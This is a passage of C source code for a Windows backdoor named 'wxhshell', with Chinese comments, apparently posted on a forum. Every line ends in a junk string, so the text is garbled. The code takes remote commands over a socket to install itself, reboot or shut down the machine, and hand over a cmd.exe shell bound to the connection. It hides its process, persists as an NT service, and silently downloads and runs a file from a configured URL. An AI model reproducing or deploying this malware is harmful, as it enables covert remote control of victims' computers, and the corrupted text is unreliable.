      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #v qz{R~nM  
    break; uAb 03Q  
  } k E_ky)  
  // 安装 ry,}F@P&  
  case 'i': { 70<K .T<b  
    if(Install()) /s-d?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); luF#OPC  
    else OQ| ,-  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G4yUC<TqBP  
    break; 5 TET<f6R  
    } &V;x 4  
  // 卸载 ew"m!F#  
  case 'r': { B_@7IbB  
    if(Uninstall()) -eYL*Pa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nE<J`Wo$f  
    else nB}e1 /_y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (q k5f`O  
    break; F25<+ 1kr  
    } sVD([`Nmc  
  // 显示 wxhshell 所在路径 j}RM.C\7  
  case 'p': { akrCs&Kka5  
    char svExeFile[MAX_PATH]; hE5G!@1F  
    strcpy(svExeFile,"\n\r"); 3dU#Ueu  
      strcat(svExeFile,ExeFile); N('3oy#8  
        send(wsh,svExeFile,strlen(svExeFile),0); 0sabh`iQ^  
    break; c V(H<"I  
    } u p~@?t2  
  // 重启 7`+UB>8  
  case 'b': { wKrdcWI,Z  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); a?\ `  
    if(Boot(REBOOT)) )Jz!Ut  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }JJ::*W2n  
    else { Dzm qR0)  
    closesocket(wsh); 9>zDJx  
    ExitThread(0); ?7 X3 P  
    } u dUXc6U  
    break; ;l#?SYY  
    } U*xxrt/On/  
  // 关机 ,"C&v~  
  case 'd': { ^B6`e^ <  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `0[fLEm  
    if(Boot(SHUTDOWN)) SJF2k[da  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~:s!].H  
    else { Z0z)  
    closesocket(wsh); L]a|vp  
    ExitThread(0); %SFw~%@3&~  
    } }(rzH}X@  
    break; j~Ff/ O  
    } tpd|y|  
  // 获取shell iQ0&W0D]  
  case 's': { 95% :AQLV  
    CmdShell(wsh); X &09  
    closesocket(wsh); 3V!W@[ }:  
    ExitThread(0); @hBx, `H^  
    break; \ /sF:~=  
  } t>-XT|lV  
  // 退出 s!=!A  
  case 'x': { }K+\8em  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ~JT lPU'  
    CloseIt(wsh); > d)|r  
    break; _qk9o  
    } rcpvH}N:  
  // 离开 /. f!  
  case 'q': { Zm5nLxM  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]#+5)[N$>  
    closesocket(wsh); ; S{ZC5  
    WSACleanup(); q w"e0q%)  
    exit(1); J~:kuf21  
    break; 2%*|fF}I  
        } Dj/Q1KY$m  
  } )8\Z=uC  
  } Vc{/o=1u  
Wa@6VY  
  // 提示信息 MEDskvBG  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z|f^nH#-C  
} &AN%QhI  
  } l'P[5'.  
c '/2F0y  
  return; b<48#Qy~l  
} ,\Z8*Jr3Q  
Lp~c  
// shell模块句柄 baA HP "  
int CmdShell(SOCKET sock) mn,=V[f  
{ #`2GAM];7  
STARTUPINFO si; I(F1S,7  
ZeroMemory(&si,sizeof(si)); L'zdsa}Et  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QZ_nQ3K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Ynv 9v\n|  
PROCESS_INFORMATION ProcessInfo; ,[+ZjAyG}#  
char cmdline[]="cmd"; 9? v)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ^D0/H N   
  return 0; p3i qW,[@  
} ;o&_:]S  
I]s:Ev[~  
// 自身启动模式 r(748Qc4f?  
int StartFromService(void) ,2Sv1v$  
{ O7E;W| ]  
typedef struct (%=lq#,   
{ {"Y]/6  
  DWORD ExitStatus; <%T%NjNPQ  
  DWORD PebBaseAddress; tauP1&%oH{  
  DWORD AffinityMask; >0[qi1  
  DWORD BasePriority; L+`}euu5  
  ULONG UniqueProcessId; p=je"{  
  ULONG InheritedFromUniqueProcessId; ?d,acm  
}   PROCESS_BASIC_INFORMATION; w4 >:uyE  
uBV^nUjS"m  
PROCNTQSIP NtQueryInformationProcess; KX&Od@cQ$  
)i?{;%^  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C&qDvvk  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; gqKC4'G0  
7~QwlU3n<F  
  HANDLE             hProcess; zcbA)  
  PROCESS_BASIC_INFORMATION pbi; 9;'>\ImI  
V~tu<"%  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); uT@8 _9  
  if(NULL == hInst ) return 0; xQcMQ{&;  
b3jU~L$  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }6b7a1p  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 5[0l08'D  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \Mh4X`<e  
_,Io(QS  
  if (!NtQueryInformationProcess) return 0; gb^UFD L  
70I4-[/z[d  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); A_8`YN"Xk  
  if(!hProcess) return 0; `RL(N4H  
$/-wgyP3m+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gDjd{+LUo  
@vDgpb@TM  
  CloseHandle(hProcess); 1-ndJ@Wlz  
X_EC:GU  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =[43y%   
if(hProcess==NULL) return 0; ahz@HX  
GHJQ d&G8G  
HMODULE hMod; :ok!,QN  
char procName[255]; Z\o AE<$  
unsigned long cbNeeded; %K/G+  
bE%mgaOh  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); X.W#=$;$:  
0n=9TmE  
  CloseHandle(hProcess); J_)z:`[yE  
! S$oaCxM  
if(strstr(procName,"services")) return 1; // 以服务启动 M2;(+8 b  
,T1XX2? :  
  return 0; // 注册表启动 ~P_d0A~T  
} /(z0I.yE  
[0%Gu 5_\  
// 主模块 p'9 V. _h  
int StartWxhshell(LPSTR lpCmdLine) @O*ev| o@x  
{ 8P'En+uE1|  
  SOCKET wsl; [M zc^I&  
BOOL val=TRUE; vX!dMJa0  
  int port=0; 1Tts3O .  
  struct sockaddr_in door; yQQDGFTb!=  
n=Z[w5  
  if(wscfg.ws_autoins) Install(); GurE7J^=  
[{fF)D<tC  
port=atoi(lpCmdLine); WhVmycdv  
:)3$&QdHT  
if(port<=0) port=wscfg.ws_port; x X=IMM3  
9_CA5?y$:  
  WSADATA data; |rms[1<_  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; uk>/I l  
k%4A::=  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   l%)=s~6z  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); yz&q2  
  door.sin_family = AF_INET; IQ27FV|3  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QP-<$P;~  
  door.sin_port = htons(port); - EX3' [*'  
=.=. \K  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \]d*h]Hms  
closesocket(wsl); b~jvmcr  
return 1; Rc m(Y7  
} h-v &I>  
|jCE9Ve#  
  if(listen(wsl,2) == INVALID_SOCKET) { 2w.9Q (Sn  
closesocket(wsl); y^+[eT&  
return 1; 7 +W?Qo  
} 9@&Z`b_  
  Wxhshell(wsl); 1Qc(<gM  
  WSACleanup(); QW"6]  
qytGs@p_  
return 0; a\ 2Myj  
H ]N/Y{  
} )9sr,3w  
7=ga_2  
// 以NT服务方式启动 >kLH6.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (nZ=9+j]d  
{ h ?qYy$  
DWORD   status = 0; U8I~co:h  
  DWORD   specificError = 0xfffffff; aPP<W|Cmo2  
1V9X(uP  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 2b&;Y/z  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; F~- S3p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Zp(P)Obs#  
  serviceStatus.dwWin32ExitCode     = 0; N55=&-p  
  serviceStatus.dwServiceSpecificExitCode = 0; n N]vu  
  serviceStatus.dwCheckPoint       = 0; !A<XqzV]  
  serviceStatus.dwWaitHint       = 0; NS/L! "g  
^OcfM_4pN  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); `"-!UkD+  
  if (hServiceStatusHandle==0) return; "=RoI  
mUY:S |  
status = GetLastError(); ,Vn]Ft?n  
  if (status!=NO_ERROR) "5DAGMU  
{ LB ^^e"  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; .j'IYlv/P  
    serviceStatus.dwCheckPoint       = 0; YQ`#C #Wb  
    serviceStatus.dwWaitHint       = 0; 0tL/:zID  
    serviceStatus.dwWin32ExitCode     = status; ?b''  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7VZ JGRnn  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); t 6IaRD  
    return; zinl.8Uk  
  } *9:6t6x  
tMk>Bx9[  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; gkn/E}K#  
  serviceStatus.dwCheckPoint       = 0; bb_jD^  
  serviceStatus.dwWaitHint       = 0; OcS`Fxs  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); t>`LO  
} g~sNY|%  
ImY*cW=M  
// 处理NT服务事件,比如:启动、停止 x$b[m 20  
VOID WINAPI NTServiceHandler(DWORD fdwControl) nR'EuI~(}  
{ \6 0WP-s  
switch(fdwControl) p$G3r0 @  
{ FG36,6N%2j  
case SERVICE_CONTROL_STOP: xla^A}{  
  serviceStatus.dwWin32ExitCode = 0; 9}Ave:X^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; {3uSg)  
  serviceStatus.dwCheckPoint   = 0; "RX5] eJc\  
  serviceStatus.dwWaitHint     = 0; iOXP\:mPo  
  { $u.T1v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); oK1[_ko|  
  } s!!t  
  return; 9i[2z:4HJ  
case SERVICE_CONTROL_PAUSE:  /lok3J:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; `A{~}6jw  
  break; ;p"XCLHl  
case SERVICE_CONTROL_CONTINUE: 9i)mv/i  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <ORz`^27o  
  break; ]4~D;mv  
case SERVICE_CONTROL_INTERROGATE: M !XFb  
  break; _SW a3O#'  
}; hGHzO  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Llc|j&yHQ  
} >f05+%^[  
pXlBKJmW  
// 标准应用程序主函数 \$|UFx  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~:b~f]lO  
{ LZ]pyoi  
Sf:lN4  
// 获取操作系统版本 +!Ag n)  
OsIsNt=GetOsVer(); ?6]ZQ\,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); hs uJ;4}$q  
@Odu.F1e  
  // 从命令行安装 W >IKy#  
  if(strpbrk(lpCmdLine,"iI")) Install(); df rr.i  
({b/J0 <@D  
  // 下载执行文件 rz7b%WY  
if(wscfg.ws_downexe) { 1T?%i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Wfw9cxGkf  
  WinExec(wscfg.ws_filenam,SW_HIDE); "G)?  E|  
} e(5R8ud  
Bq8<FZr#!  
if(!OsIsNt) { iW$i%`>  
// 如果时win9x,隐藏进程并且设置为注册表启动 Dv{AZyqe  
HideProc(); l7um9@[4  
StartWxhshell(lpCmdLine); ;.a)r  
} 8rNxd=!  
else b4PK  
  if(StartFromService()) #(4hX6?5AI  
  // 以服务方式启动 MT gEq  
  StartServiceCtrlDispatcher(DispatchTable); }`]^LFU5  
else $&C%C\(>D  
  // 普通方式启动 @V u[Tg}J  
  StartWxhshell(lpCmdLine); `<Nc Y*  
x;aZ&  
return 0; 3Ab$  
}
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只看该作者 1 发表于: 2006-10-10
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